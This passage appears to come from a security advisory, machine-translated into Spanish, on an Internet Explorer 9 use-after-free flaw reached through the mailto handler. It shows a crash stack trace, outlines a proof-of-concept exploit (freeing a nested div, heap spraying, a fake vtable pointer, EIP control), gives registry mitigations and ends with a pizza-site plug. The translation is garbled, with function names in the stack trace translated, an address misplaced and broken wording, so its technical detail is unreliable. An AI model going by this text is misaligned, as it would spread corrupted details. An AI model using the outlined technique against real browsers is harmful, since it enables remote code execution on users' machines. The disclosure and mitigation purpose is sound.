  6d009a85 JSCRIPT9! Js :: JavascriptOperators :: DefinirPropiedad 0 x8c
  6d009a2c JSCRIPT9! Js :: JavascriptOperators :: OP_SetProperty 0 x59
  039507b8 JSCRIPT9! Js :: JavascriptOperators :: PatchPutValueNoLocalFastPath 0 XBC
  6d0084d6 0x39507b8
  6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  6d54ce40 MSHTML! CListenerDispatch :: Invoke 0 x40
  6d44e624 MSHTML! CEventMgr :: _InvokeListeners 0 x187
  6d54cf37 MSHTML! CEventMgr :: _InvokeListenersOnWindow 0 XCC
  6d5db67d MSHTML! CEventMgr :: Despacho 0 X3CC
  6d53ba32 MSHTML! CEventMgr :: DispatchFocusEvent 0 x7d
  6d5e6f74 MSHTML! COmWindowProxy :: Fire_onfocus 0 x84
  6d5e6ff1 MSHTML! CAsyncEventQueue :: DispatchAllEvents 0 x7c
  7748c4e7 MSHTML! GlobalWndProc 0 x2ed
  7748c5e7 USER32! InternalCallWinProc 0 x23
  7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  7748cc70 USER32! DispatchMessageWorker 0 x35e
  6e8e1b44 USER32! DispatchMessageW 0 xf
  6e901a16 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x722
  Ieframe 759315b0! LCIETab_ThreadProc 0 X317
  6e8efd5b Iertutil! CIsoScope :: RegisterThread 0 xab
  75c4ed6c Ieframe! Detour_DefWindowProcA 0 x6c
  773737f5 KERNEL32! BaseThreadInitThunk 0 xe
  773737c8 NTDLL! __RtlUserThreadStart 0 x70
  00000000 NTDLL! _RtlUserThreadStart 0 x1b


EXPLOTACIÓN
------------
La explotación de esta vulnerabilidad es típico de un básico
use-after-free condición en Internet Explorer, en el que el exploit:
(1) crea un objeto en el montón, (2) hace que el objeto a ser liberado
mientras que las referencias a la misma persistir en otra parte, (3) reemplaza el contenido del
la memoria de pila antes ocupado por el objeto con datos arbitrarios,
y (4) hace que Internet Explorer para acceder a una referencia rancio a la
liberado objeto. En una preparación de prueba de concepto exploit control de EIP
focalización Internet Explorer 9 (32 bits), estos pasos se llevaron a cabo
por: incluyendo dos anidados, llamado "div" elementos en el código HTML, modificando
el exterior "div" elemento para destruir el interior "div" (mientras el correo
mensaje de error del cliente está en la pantalla), la realización de una pila típica
pulverizar para almacenar datos conocidos en una dirección conocida, y la creación de un gran
número de bloques CTreePos montón de tamaño que contienen datos especialmente diseñados
para llenar el hueco dejado por la libertad interior "div" elemento. El especialmente
datos elaborados incluye un puntero vtable sustituto que hace referencia a
datos rociados heap en una dirección rígida, otra característica típica de
tales hazañas. El único paso que esta vulnerabilidad no se puede lograr
enteramente por su cuenta está provocando que Internet Explorer para acceder a la
rancia interior "div" elemento de referencia - este acceso se produce sólo después de la
usuario cierra el cliente de correo de mensaje de error.


MITIGACIÓN
----------
Ajuste de las "Descargas" -> "Descarga de fuentes" configuración de seguridad para
"Desactivar" ("HKEY_CURRENT_USER \ Software \ Microsoft \ CurrentVersion \ Internet
Settings \ Zones \ <zone-identifier> "->" 1604 ": REG_DWORD =" 3 ") impide
explotación de esta vulnerabilidad mediante la técnica actual.

Borrando, renombrando o negar el acceso de lectura a la
"HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ PROTOCOLOS \ Handler \ mailto"
clave de registro (y
"HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ \ Wow6432Node PROTOCOLOS \ Handler \ mailto"
según sea apropiado) también evita la explotación mediante el presente
técnica, sin embargo, después de implementar la solución provisional, confirman que
hacer clic en un "mailto:" que aparece en cualquier zona no muestra un cuadro de mensaje.


CONCLUSIÓN
----------
Este documento presenta una vulnerabilidad de larga vida en Internet Explorer
que permite la ejecución de código arbitrario seguridad en caso de incumplimiento
configuración. Aunque la explotación actual implica una cantidad modesta de
la interacción del usuario y la notificación al usuario en la forma de un cliente de correo
mensaje de error, el mensaje no es relacionada con la seguridad, y el mensaje
caja no presentar al usuario una opción de abortar explotación.
 La investigación adicional en la vulnerabilidad podría revelar otros medios de
explotación que puede cambiar el mensaje presentado o reducir o
eliminar la necesidad de interacción del usuario.


SALUDOS
---------
www.thetomatopizza.com
 ^ La mejor pizza en cualquier lugar cerca de DFW, alimentación requerida para locales y remotos.